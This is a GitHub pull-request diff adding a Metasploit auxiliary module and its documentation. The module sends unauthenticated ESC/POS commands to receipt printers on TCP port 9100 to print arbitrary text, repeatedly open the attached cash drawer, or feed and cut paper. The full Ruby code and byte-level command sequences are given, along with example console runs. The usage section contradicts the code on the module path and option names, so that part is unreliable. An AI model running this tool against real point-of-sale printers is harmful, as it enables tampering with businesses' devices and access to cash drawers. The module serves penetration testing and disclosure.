Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
21 commits
Select commit Hold shift + click to select a range
4e64a0a
Create escpos_tcp_command_injector.rb
futileskills Aug 18, 2025
e9a7aba
Update escpos_tcp_command_injector.rb
futileskills Aug 19, 2025
f126885
Create escpos_tcp_command_injector.md
futileskills Aug 19, 2025
705a346
Update escpos_tcp_command_injector.rb
futileskills Aug 19, 2025
f06cff9
QOL tweaks to escpos_tcp_command_injector.rb
futileskills Aug 22, 2025
9a5670b
Deleted some unnecessary lines
futileskills Aug 22, 2025
7cdcace
remade Doc file.
futileskills Aug 22, 2025
4fd97d5
syntax fix
futileskills Aug 22, 2025
1621d4f
Added option for feed lines and cut paper for better handling
futileskills Aug 23, 2025
58ac914
Added missing line from end of file/ msftidy_docs formating
futileskills Aug 23, 2025
3d94216
added vulnerable application description
futileskills Aug 27, 2025
437dbd9
Merge branch 'rapid7:master' into escpos-injector-module
futileskills Aug 27, 2025
02c5abf
Merge branch 'rapid7:master' into escpos-injector-module
futileskills Sep 20, 2025
fb3b4c1
Update escpos_tcp_command_injector.rb
futileskills Sep 20, 2025
e7e40d3
rubocop fixes
futileskills Sep 20, 2025
7627bd1
Simplify module options and logic
futileskills Sep 23, 2025
046c133
Fix NameError by correcting Msf namespace
futileskills Sep 24, 2025
d2e470f
Update modules/auxiliary/admin/printer/escpos_tcp_command_injector.rb
futileskills Oct 10, 2025
732ca07
Apply review feedback to escpos module
futileskills Oct 10, 2025
d1cdf21
formating fixes
futileskills Oct 10, 2025
461ad3e
msftidy fixes
futileskills Oct 10, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
## Vulnerable Application

This module targets networked ESC/POS compatible printers that listen for raw commands on TCP port 9100.
The vulnerability is a lack of authentication and access control on this port, allowing anyone with
network access to send unauthenticated ESC/POS commands. The module exploits this by sending crafted
command sequences to inject custom print jobs, trigger the cash drawer, or manipulate the paper feed,
effectively taking control of the printer's physical functions.


- **Printer Model:** Any Epson-compatible printer exposing the ESC/POS command set
on TCP port 9100.

- **Protocol:** ESC/POS over TCP.

- **CVE:** Submitted for Epson-compatible thermal printers; awaiting assignment.



## Verification Steps



1. **Load the module:**
use auxiliary/scanner/printer/escpos_tcp_command_injector

2. **Set required options:**
set RHOST <printer_ip>

3. **Choose an action:**
You can either print a message, trigger the drawer, or do both.
- To print a message, set `PRINT_MESSAGE` to `true` and a `MESSAGE` string.
- To trigger the drawer, set `TRIGGER_DRAWER` to `true`.
- To do both, set both flags to `true`.

4. **Execute the module:**
run

---


## Options

### MESSAGE

This option specifies the text to be sent to the printer.

* **Description:** The string of text you want the printer to output. It is only required when `PRINT_MESSAGE` is set to `true`.
* **Default:** "PWNED"
* **Example:** `set MESSAGE "Printing this now"`

### PRINT_MESSAGE

This boolean option controls whether a message is printed to the printer.

* **Description:** When set to `true`, the module will send the `MESSAGE` string to the printer.
* **Default:** `false`
* **Example:** `set PRINT_MESSAGE true`

### TRIGGER_DRAWER

This boolean option controls whether the module sends a command to open the cash drawer.

* **Description:** When set to `true`, the module will send the appropriate ESC/POS command to trigger the cash drawer.
* **Default:** `false`
* **Example:** `set TRIGGER_DRAWER true`



## Scenarios

### Example 1: Printing a Simple Message

This example shows how to use the module to send a simple text message to a network-connected ESC/POS printer.

msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set PRINT_MESSAGE true
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run

[*] Sending print message to 192.168.1.200...
[+] Printed message to 192.168.1.200

### Example 2: Triggering the Cash Drawer

This scenario demonstrates the use of the `TRIGGER_DRAWER` option to send the specific
ESC/POS command to open a cash drawer connected to the printer.

msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set TRIGGER_DRAWER true
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run

[*] Triggering cash drawer 2 times on 192.168.1.200...
[+] Triggered cash drawer on 192.168.1.200

### Example 3: Doing Both

This example shows how to use both options to print a message and trigger the drawer in a single run.

msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set PRINT_MESSAGE true
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set TRIGGER_DRAWER true
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set MESSAGE "Both commands sent!"
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run

[*] Sending print message to 192.168.1.200...
[+] Printed message to 192.168.1.200
[*] Triggering cash drawer 2 times on 192.168.1.200...
[+] Triggered cash drawer on 192.168.1.200


This module has been tested against a physical Epson-compatible receipt printer and
verified to print custom messages and trigger the cash drawer.
For additional device compatibility, refer to the ESC/POS protocol documentation.
109 changes: 109 additions & 0 deletions modules/auxiliary/admin/printer/escpos_tcp_command_injector.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ESC/POS Printer Command Injector',
'Description' => %q{
This module exploits an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers.
You can print a custom message, trigger the attached cash drawer, or cut the paper.
},
'Author' => ['FutileSkills'],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://github.com/futileskills/Security-Advisory']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, PHYSICAL_EFFECTS]
}
)
)

register_options(
[
Opt::RPORT(9100),
OptEnum.new('ACTION', [true, 'The action to perform', 'PRINT', ['PRINT', 'DRAWER', 'CUT']]),
OptString.new('MESSAGE', [false, 'Message to print (for the PRINT action)', 'PWNED']),
OptInt.new('DRAWER_COUNT', [false, 'Number of times to trigger the drawer (for the DRAWER action)', 1]),
OptInt.new('FEED_LINES', [false, 'Number of lines to feed before cutting (for the CUT action)', 5])
]
)
end

# ESC/POS command to trigger the cash drawer
DRAWER_COMMAND = "\x1b\x70\x00\x19\x32".freeze
# ESC/POS command to feed lines
FEED_COMMAND = "\x1b\x64".freeze
# ESC/POS command to cut paper (full cut)
CUT_COMMAND = "\x1d\x56\x42\x00".freeze

def run
connect
print_status("Connected to printer at #{rhost}")

case datastore['ACTION']
when 'PRINT'
handle_print
when 'DRAWER'
handle_drawer
when 'CUT'
handle_cut
end
rescue ::Rex::ConnectionError
print_error("Failed to connect to #{rhost}")
ensure
disconnect
end

private

def handle_print
message = datastore['MESSAGE']
if message.to_s.empty?
print_error("No message specified for the 'PRINT' action.")
return
end

# Break down ESC/POS commands for readability
initialize_printer = "\x1b\x40"
center_align = "\x1b\x61\x01"
double_size_text = "\x1d\x21\x11"
normal_size_text = "\x1d\x21\x00"
left_align = "\x1b\x61\x00"

print_commands = initialize_printer +
center_align +
double_size_text +
message +
normal_size_text + "\n" +
left_align + "\n\n"

sock.put(print_commands)
print_good("Printed message: '#{message}'")
end

def handle_drawer
drawer_count = datastore['DRAWER_COUNT'].to_i.clamp(1, 10)
print_status("Triggering cash drawer #{drawer_count} times...")
drawer_count.times do
sock.put(DRAWER_COMMAND)
sleep(0.5)
end
print_good('Triggered cash drawer.')
end

def handle_cut
feed_lines = datastore['FEED_LINES'].to_i.clamp(1, 100)
print_status("Feeding #{feed_lines} lines and cutting paper...")
sock.put(FEED_COMMAND + [feed_lines].pack('C'))
sock.put(CUT_COMMAND)
print_good('Paper fed and cut.')
end
end